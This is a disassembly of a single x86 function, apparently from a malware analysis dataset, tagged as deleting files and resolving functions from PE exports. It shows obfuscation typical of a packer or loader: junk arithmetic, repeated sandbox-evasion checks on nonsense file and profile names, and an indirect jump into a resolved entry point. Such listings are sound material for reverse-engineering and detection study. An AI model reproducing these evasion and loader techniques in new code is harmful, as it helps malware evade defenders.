Function at 0x42399a
Capabilities:
Delete file
Resolve function by parsing pe exports

Disassembly:
add dword [0x42a177], 0x42a1bb
sub esp, 0x1ac
push ebx
push esi
mov dword [0x42a15f], 0x573c
push edi
sub edi, edi
push edi
not dword [0x42a18f]
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.KERNEL32.dll_GetProfileStringW]
add dword [0x42a14b], 0x7d28
push 0xf
and dword [0x42a183], 0x1edb
mov dword [esp + 0x14], eax
lea eax, [esp + 0x44]
sub dword [0x42a19b], 0x42a187
push eax
push 0x429553
sbb dword [0x42a17f], 0x7a6
push 0x429567
adc dword [0x42a17f], 0x6000
push 0x42958f
adc dword [0x42a1c3], 0x42a1b7
call esi
shl eax, 0x15
mov dword [0x42a197], 0x6670
cmp eax, 0x1000000
je 0x423a4d
sub eax, eax
mov dword [0x42a12f], 0x1037
jmp 0x424b04
or dword [0x42a187], 0x42a127
push 0x4295b7
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor dword [0x42a15b], 0x42a1b3
or eax, eax
mov dword [0x42a137], 0x194e
jne 0x423a3c
lea eax, [esp + 0x78]
xor dword [0x42a173], 0x42a157
push eax
push 0x4295d3
sbb dword [0x42a1ab], 0x42a133
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [0x42a193], 0x52a3
jne 0x423a3c
mov dword [0x42a19b], 0xfae
push dword [esp + 0x10]
add dword [0x42a157], 0x42a16f
push edi
sbb dword [0x42a1c3], 0x76dd
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [0x42a24f]
mov ebx, dword [0x42a267]
sub ecx, ebx
sub ecx, dword [ecx + ebx]
mov dword [esp + 0x30], edi
or dword [0x42a16f], 0x565
mov dword [esp + 0x20], 0xf89c85b9
mov dword [0x42a143], 0x78c3
mov dword [esp + 0xc], 0xf89c85ba
or ebx, ecx
lea eax, [esp + 0x3c]
mov dword [esp + 0x30], eax
add ebx, edi
lea eax, [esp + 0x38]
mov edi, dword [0x42a1e3]
mov ecx, dword [0x42a21f]
sub edi, ecx
and edi, dword [edi + ecx]
mov dword [esp + 0x10], eax
and dword [0x42a17b], 0x5d3c
mov eax, dword [str.xN1NbN_N]
sub ebx, ebx
xor ebx, dword [0x42a18b]
sbb dword [0x42a1bf], ebx
mov eax, dword [eax + 0x1c8]
sbb edi, dword [0x42a1cf]
mov eax, dword [eax]
and dword [0x42a173], 0
mov edi, dword [0x42a173]
inc edi
mov dword [0x42a173], edi
cmp dword [0x42a173], 0xf
jl 0x423bca
jmp 0x423ba3
cmp dword [0x42a173], 0xe
jne 0x423bbd
mov edi, dword [0x42a173]
inc edi
mov dword [0x42a173], edi
cmp dword [0x42a173], 0x1d
jb 0x423b71
mov ecx, dword [esp + 0x10]
and ebx, dword [0x42a1ab]
mov edi, 0x75108a8
xor ebx, dword [0x42a173]
sub eax, edi
mov ebx, dword [0x42a18b]
or dword [0x42a13f], ebx
mov ebx, 0x3272ef
add eax, ebx
mov dword [0x42a1c3], 0x4871
mov dword [ecx], eax
mov eax, dword [0x42a193]
mov eax, dword [0x429feb]
cmp eax, 0x445cecf9
jne 0x423c8f
sbb ecx, 0x3851
mov eax, dword [esp + 0x20]
sub dword [0x42a16b], edi
mov ecx, dword [str.xN1NbN_N]
mov ecx, dword [ecx + 0x198]
adc dword [0x42a14b], 0x1545
sub eax, edi
add eax, ebx
mov dword [ecx], eax
xor eax, dword [0x42a19f]
mov eax, dword [esp + 0x20]
sub dword [0x42a13f], 0x2657
sub eax, edi
add eax, ebx
mov dword [0x429feb], eax
dec dword [0x42a18b]
mov eax, dword [esp + 0x20]
xor dword [0x42a15b], 0x42a1af
sub eax, edi
sbb dword [0x42a157], 0xceb
add eax, ebx
sbb dword [0x42a177], 0x42a19f
mov dword [0x429527], eax
sub eax, 0xfb3
mov eax, dword [str.xN1NbN_N]
not dword [0x42a1a3]
mov eax, dword [eax + 0x18c]
sub dword [0x42a133], 0x42a19b
mov eax, dword [eax]
not dword [0x42a133]
mov dword [esp + 0x60], eax
adc dword [0x42a1c7], 0x42a1af
mov eax, 0xf89c85bd
mov dword [esp + 0x18], eax
sbb dword [0x42a17f], 0x42a177
mov dword [esp + 0x18], eax
sub dword [0x42a143], 0x5dcc
mov dword [esp + 0x18], eax
mov dword [esp + 0x18], 0xf89c85b9
sbb dword [0x42a1a3], 0x2005
mov dword [esp + 0x10], eax
mov dword [0x42a1a7], 0x202e
mov dword [esp + 0x10], 0xf89c85b1
mov eax, dword [esp + 0x20]
add dword [0x42a187], 0x42a19f
sub eax, edi
or dword [0x42a15b], 0x42a163
add eax, ebx
jmp 0x423fde
dec dword [0x42a143]
lea eax, [esp + 0x44]
adc dword [0x42a16f], 0x2f79
push eax
xor dword [0x42a13b], 0x2364
push 0x4295ef
push 0x429603
push 0x42962b
sub dword [0x42a16b], 0x2bd1
call esi
mov dword [0x42a147], 0x6294
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
dec dword [0x42a163]
push 0x429653
adc dword [0x42a1cb], 0x42a1af
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add dword [0x42a14b], 0x6241
or eax, eax
jne 0x423a3c
or dword [0x42a133], 0x259a
lea eax, [esp + 0x78]
push eax
push 0x42966f
xor dword [0x42a17b], 0x66c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [0x42a187], 0x7420
jne 0x423a3c
and dword [0x42a167], 0
mov eax, dword [0x42a167]
inc eax
mov dword [0x42a167], eax
cmp dword [0x42a167], 5
jl 0x423e4d
jmp 0x423e28
cmp dword [0x42a167], 4
jne 0x423e40
mov eax, dword [0x42a167]
inc eax
mov dword [0x42a167], eax
cmp dword [0x42a167], 0x12
jb 0x423df3
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
dec dword [0x42a15f]
sub eax, edi
sub dword [0x42a1a7], 0x2267
lea eax, [eax + ecx + 0x3272ef]
sbb dword [0x42a1bb], 0x1a84
push eax
and dword [0x42a15f], 0
jmp 0x423e93
mov eax, dword [0x42a15f]
inc eax
mov dword [0x42a15f], eax
cmp dword [0x42a15f], 0x12
jae 0x423ecb
cmp dword [0x42a15f], 0x21
jb 0x423ecb
jmp 0x423ec6
jmp 0x423e88
mov eax, dword [esp + 0x1c]
add dword [0x42a1c3], 0x42a19f
sub eax, edi
adc dword [0x42a147], 0x3c17
lea eax, [ebp + eax + 0x3272f7]
and dword [0x42a18b], 0x7df0
push eax
mov eax, dword [0x42a12b]
xor dword [0x42a1ab], eax
mov eax, dword [str.xN1NbN_N]
xor dword [0x42a147], 0x5716
push dword [eax + 0x1bc]
inc dword [0x42a1c3]
call fcn.00424b0d
add dword [0x42a18f], ebx
mov eax, dword [esp + 0xc]
and dword [0x42a18f], 0
mov ecx, dword [0x42a18f]
inc ecx
mov dword [0x42a18f], ecx
cmp dword [0x42a18f], 0x23
jg 0x423f7c
jmp 0x423f6f
cmp dword [0x42a18f], 0x1c
jb 0x423f36
mov ecx, dword [esp + 0x10]
and dword [0x42a1a3], 0
jmp 0x423f9c
mov edx, dword [0x42a1a3]
inc edx
mov dword [0x42a1a3], edx
cmp dword [0x42a1a3], 0x15
jae 0x423fcb
cmp dword [0x42a1a3], 0x23
jl 0x423fcb
jmp 0x423fc6
jmp 0x423f8f
sub eax, edi
add dword [0x42a15b], 0x498
lea eax, [ecx + eax + 0x3272ef]
add dword [0x42a1d3], 0x5749
mov ecx, dword [esp + 0xc]
and dword [0x42a18f], ecx
mov edx, dword [esp + 0xc]
sub edx, edi
sub ecx, edi
add ecx, edx
mov edx, dword [esp + 0xc]
sub edx, edi
mov dword [0x42a15f], 0x7e75
lea ecx, [ecx + edx + 0x9758cd]
mov dword [0x42a14b], 0x16f9
mov dword [esp + 0x10], eax
push 0xf
mov dword [0x42a1bb], 0x175a
cmp eax, ecx
mov dword [0x42a15f], 0x2b18
jbe 0x423d33
mov eax, dword [ebp + 0xc]
add ecx, dword [0x42a173]
mov dword [0x4292b3], eax
mov eax, dword [ebp + 0x10]
sub ecx, ecx
xor ecx, dword [0x42a1b3]
sbb dword [0x42a1cb], ecx
mov dword [0x42950f], eax
mov eax, dword [0x4292b3]
mov ecx, dword [0x42a12f]
or ecx, dword [0x42a15f]
mov dword [0x42a12f], ecx
mov ecx, dword [esp + 0x34]
adc dword [0x42a1c7], 0x192d
sub eax, ebx
sub eax, edi
or dword [0x42a1af], 0x42a1cb
mov dword [ecx], eax
sub dword [0x42a187], 0x2768
lea eax, [esp + 0x30]
and dword [0x42a17b], 0x51d9
mov dword [esp + 0x74], eax
lea eax, [ebp + 4]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x44]
xor dword [0x42a1ab], 0x6aa
push eax
sub dword [0x42a137], 0x42a18b
push 0x42968b
push 0x42969f
sub dword [0x42a12f], 0x6538
push 0x4296c7
add dword [0x42a17f], 0x42a1cf
call esi
shl eax, 0x15
mov dword [0x42a1bf], 0x1cd6
cmp eax, 0x1000000
mov dword [0x42a193], 0x32c8
jne 0x423a3c
push 0x4296ef
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor dword [0x42a16f], 0x42a177
or eax, eax
jne 0x423a3c
adc dword [0x42a16f], 0x7895
lea eax, [esp + 0x78]
push eax
push 0x42970b
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
push 0xf
lea eax, [esp + 0x44]
push eax
sub dword [0x42a19b], 0x42a167
push 0x429727
sbb dword [0x42a18b], 0x654e
push 0x42973b
push 0x429763
add dword [0x42a15f], 0x4c0a
call esi
shl eax, 0x15
mov dword [0x42a17b], 0x49de
cmp eax, 0x1000000
mov dword [0x42a1a7], 0x39fb
jne 0x423a3c
sbb dword [0x42a1bb], 0x7658
push 0x42978b
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
adc dword [0x42a14f], 0x33c9
push eax
push 0x4297a7
and dword [0x42a187], 0x42a1c3
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
add dword [0x42a14f], 0x42a1b3
push 0xf
adc dword [0x42a14f], 0x42a17b
lea eax, [esp + 0x44]
adc dword [0x42a197], 0x4372
push eax
sub dword [0x42a1c3], 0x57ed
push 0x4297c3
push 0x4297d7
push 0x4297ff
sbb dword [0x42a143], 0x42a1d3
call esi
shl eax, 0x15
cmp eax, 0x1000000
mov dword [0x42a1bb], 0x7ab0
jne 0x423a3c
and dword [0x42a1b7], 0x42a16b
push 0x429827
neg dword [0x42a13f]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
mov dword [0x42a183], 0x529e
jne 0x423a3c
or dword [0x42a173], 0x42a13f
lea eax, [esp + 0x78]
push eax
adc dword [0x42a14b], 0x42a183
push 0x429843
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [0x42a167], 0x1720
cmp eax, 0xffffffff
mov dword [0x42a1b3], 0x34b9
jne 0x423a3c
xor dword [0x42a127], 0x42a193
push 0xf
lea eax, [esp + 0x44]
push eax
push 0x42985f
sbb dword [0x42a13f], 0x42a14b
push 0x429873
push 0x42989b
call esi
mov dword [0x42a183], 0x7c87
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
sub dword [0x42a14f], 0x1b5
push 0x4298c3
adc dword [0x42a15f], 0x2d72
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
xor dword [0x42a177], 0x5023
lea eax, [esp + 0x78]
add dword [0x42a19b], 0x39d
push eax
push 0x4298df
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [0x42a16f], 0xd24
cmp eax, 0xffffffff
jne 0x423a3c
not dword [0x42a157]
push 0xf
mov dword [0x42a197], 0x1e5a
lea eax, [esp + 0x44]
push eax
push 0x4298fb
push 0x42990f
push 0x429937
add dword [0x42a17f], 0x42a1a7
call esi
mov dword [0x42a19f], 0x41c3
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
sub dword [0x42a137], 0x2237
push 0x42995f
xor dword [0x42a15b], 0x42a1d3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
mov dword [0x42a167], 0x62c6
jne 0x423a3c
and dword [0x42a1af], 0x5eb4
lea eax, [esp + 0x78]
adc dword [0x42a15b], 0x4918
push eax
or dword [0x42a177], 0x42a12f
push 0x42997b
sbb dword [0x42a173], 0x42a133
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [0x42a12b], 0x13e7
cmp eax, 0xffffffff
mov dword [0x42a1ab], 0xa62
jne 0x423a3c
xor dword [0x42a137], 0x42a197
push 0xf
lea eax, [esp + 0x44]
or dword [0x42a18f], 0x2cef
push eax
push 0x429997
push 0x4299ab
sub dword [0x42a17f], 0x42a16b
push 0x4299d3
call esi
shl eax, 0x15
mov dword [0x42a16f], 0x43ec
cmp eax, 0x1000000
mov dword [0x42a1a3], 0x18cb
jne 0x423a3c
add dword [0x42a18b], 0x5057
push 0x4299fb
or dword [0x42a19f], 0x48df
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
and dword [0x42a1bf], 0x7c0c
or eax, eax
mov dword [0x42a187], 0x257b
jne 0x423a3c
xor dword [0x42a1cb], 0x42a1c7
lea eax, [esp + 0x78]
add dword [0x42a197], 0x4894
push eax
or dword [0x42a12b], 0x42a19f
push 0x429a17
sbb dword [0x42a127], 0x42a14f
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [0x42a177], 0xc3a
jne 0x423a3c
push 0xf
lea eax, [esp + 0x44]
inc dword [0x42a1cb]
push eax
push 0x429a33
push 0x429a47
sub dword [0x42a13b], 0x42a14f
push 0x429a6f
xor dword [0x42a15f], 0x6779
call esi
mov dword [0x42a1b7], 0x68bf
shl eax, 0x15
mov dword [0x42a13b], 0x5b0c
cmp eax, 0x1000000
mov dword [0x42a133], 0x4026
jne 0x423a3c
push 0x429a97
and dword [0x42a1b7], 0x42a147
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push 0x429ab3
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [0x42a1b7], 0xded
cmp eax, 0xffffffff
mov dword [0x42a13b], 0x163f
jne 0x423a3c
or dword [0x42a1cf], 0x42a13b
push 0xf
lea eax, [esp + 0x44]
push eax
push 0x429acf
push 0x429ae3
add dword [0x42a167], 0x42a1c7
push 0x429b0b
or dword [0x42a157], 0x42a1a3
call esi
shl eax, 0x15
mov dword [0x42a1a7], 0x724c
cmp eax, 0x1000000
mov dword [0x42a13b], 0x4087
jne 0x423a3c
xor dword [0x42a163], 0x42a13b
push 0x429b33
or dword [0x42a143], 0x1c84
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor dword [0x42a193], 0x1623
or eax, eax
mov dword [0x42a15f], 0x197f
jne 0x423a3c
lea eax, [esp + 0x78]
inc dword [0x42a137]
push eax
push 0x429b4f
xor dword [0x42a1bb], 0x42a1b7
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [0x42a16f], 0x1cd6
cmp eax, 0xffffffff
jne 0x423a3c
sbb dword [0x42a17f], 0x4eb9
push 0xf
lea eax, [esp + 0x44]
or dword [0x42a1d3], 0x42a193
push eax
sub dword [0x42a17b], 0x42a1bb
push 0x429b6b
add dword [0x42a16b], 0x35f5
push 0x429b7f
push 0x429ba7
sbb dword [0x42a1a7], 0x42a167
call esi
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
push 0x429bcf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push 0x429beb
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
push 0xf
lea eax, [esp + 0x44]
push eax
push 0x429c07
push 0x429c1b
push 0x429c43
call esi
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
push 0x429c6b
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push 0x429c87
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
push 0xf
lea eax, [esp + 0x44]
push eax
push 0x429ca3
push 0x429cb7
push 0x429cdf
call esi
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
push 0x429d07
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push 0x429d23
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
push 0xf
lea eax, [esp + 0x44]
push eax
push 0x429d3f
push 0x429d53
push 0x429d7b
call esi
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
push 0x429da3
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push 0x429dbf
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
mov eax, dword [esp + 0x3c]
cmp eax, 0xf89c85ba
je 0x42486d
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x38]
sub eax, edi
add eax, ebx
cmp eax, ecx
je 0x42486d
mov eax, dword [str.xN1NbN_N]
mov eax, dword [eax + 0x194]
mov ecx, dword [eax]
mov eax, dword [ecx + 0x3c]
push dword [0x42950f]
mov eax, dword [eax + ecx + 0x28]
push dword [0x4292b3]
add eax, ecx
mov ecx, dword [str.xN1NbN_N]
mov ecx, dword [ecx + 0x194]
push dword [ecx]
call eax
mov ecx, dword [str.xN1NbN_N]
mov ecx, dword [ecx + 0x1cc]
mov dword [ecx], eax
jmp 0x424a91
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x60]
sub eax, edi
add eax, ebx
cmp eax, ecx
jne 0x4248e4
mov eax, dword [esp + 0x20]
mov ecx, dword [str.xN1NbN_N]
mov ecx, dword [ecx + 0x198]
sub eax, edi
add eax, ebx
cmp eax, dword [ecx]
jne 0x4248bd
mov eax, dword [esp + 0x20]
push 0xf89c85b9
sub eax, edi
add eax, ebx
push eax
push 0xf89c85bd
push dword [esp + 0x18]
push dword [esp + 0x30]
call fcn.00420142
push dword [esp + 0xc]
push dword [esp + 0x24]
call 0x400ffa
mov eax, dword [esp + 0x20]
sub eax, edi
add eax, ebx
mov dword [0x4294bb], eax
mov eax, dword [esp + 0x20]
sub eax, edi
add eax, ebx
mov dword [0x4294b3], eax
mov eax, dword [esp + 0x2c]
or eax, eax
je 0x424a91
push 0xf
lea eax, [esp + 0x44]
push eax
push 0x429ddb
mov dword [esp + 0x70], 0xf152c32
push 0x429def
mov dword [esp + 0x7c], 0x712ed2f
mov dword [esp + 0x84], 0x373fc01
push 0x429e17
mov dword [esp + 0x7c], 0x72670ad1
call esi
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
push 0x429e3f
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push 0x429e5b
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
call fcn.0041d9fa
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], eax
nop
nop
mov eax, dword [str.xN1NbN_N]
mov ecx, dword [eax + 0x1c0]
mov edx, dword [ecx]
and dword [esp + 0x1c], 0
mov esi, 0xfabdbeda
add edx, esi
adc dword [esp + 0x1c], 0xffffffff
mov ecx, 0x8a29a13b
sub edx, ecx
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x1c]
sub edx, 0
cmp dword [esp + 0x10], 0x70941fe0
mov dword [esp + 0x14], edx
jne 0x4249cb
cmp edx, 0xffffffff
je 0x424a34
mov eax, dword [eax + 0x1c8]
mov eax, dword [eax]
cdq
add eax, esi
adc edx, 0xffffffff
and dword [esp + 0x1c], 0
sub edx, 0
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0xc]
mov dword [esp + 0x18], edx
sub eax, ecx
add dword [esp + 0x18], esi
mov edx, dword [esp + 0x18]
adc dword [esp + 0x1c], 0xffffffff
sub edx, ecx
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x1c]
sub edx, 0
mov dword [esp + 0x14], edx
cmp dword [esp + 0x10], eax
jne 0x424a23
mov eax, dword [esp + 0x24]
cmp edx, eax
je 0x424a34
mov eax, dword [esp + 0xc]
add eax, dword [esp + 0x30]
mov dword [esp + 0xc], eax
jmp 0x424a91
mov eax, dword [0x4294b3]
mov edx, dword [0x4294bb]
sub eax, edx
mov dword [0x4294b3], eax
mov edx, dword [0x4294b3]
mov eax, dword [esp + 0x2c]
add dword [eax], edx
mov edx, dword [esp + 0xc]
mov eax, dword [0x4294b3]
sub edx, edi
add edx, ebx
sub ebx, ebx
add edx, esi
adc ebx, 0xffffffff
sub edi, edi
sub edx, ecx
sub ebx, 0
add eax, esi
adc edi, 0xffffffff
sub eax, ecx
sub edi, 0
cmp eax, edx
jne 0x424a91
cmp edi, ebx
jne 0x424a91
mov eax, dword [0x4294b3]
mov dword [0x4294bb], eax
push 0xf
lea eax, [esp + 0x44]
push eax
push str.fdsgvgfh
push str.rtetytrgfdghdfhgdf
push str.dfdsgdfhfghjgfjhgf
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
shl eax, 0x15
cmp eax, 0x1000000
jne 0x423a3c
push str.truygfdhjgkjdfiouguhydfgdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or eax, eax
jne 0x423a3c
lea eax, [esp + 0x78]
push eax
push str.fkjikgjdflkjilgfdhjilgfhl
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x423a3c
mov eax, dword [str.xN1NbN_N]
push 4
add eax, 0x1cc
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.00424b0d
mov eax, dword [esp + 0x34]
mov eax, dword [eax]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc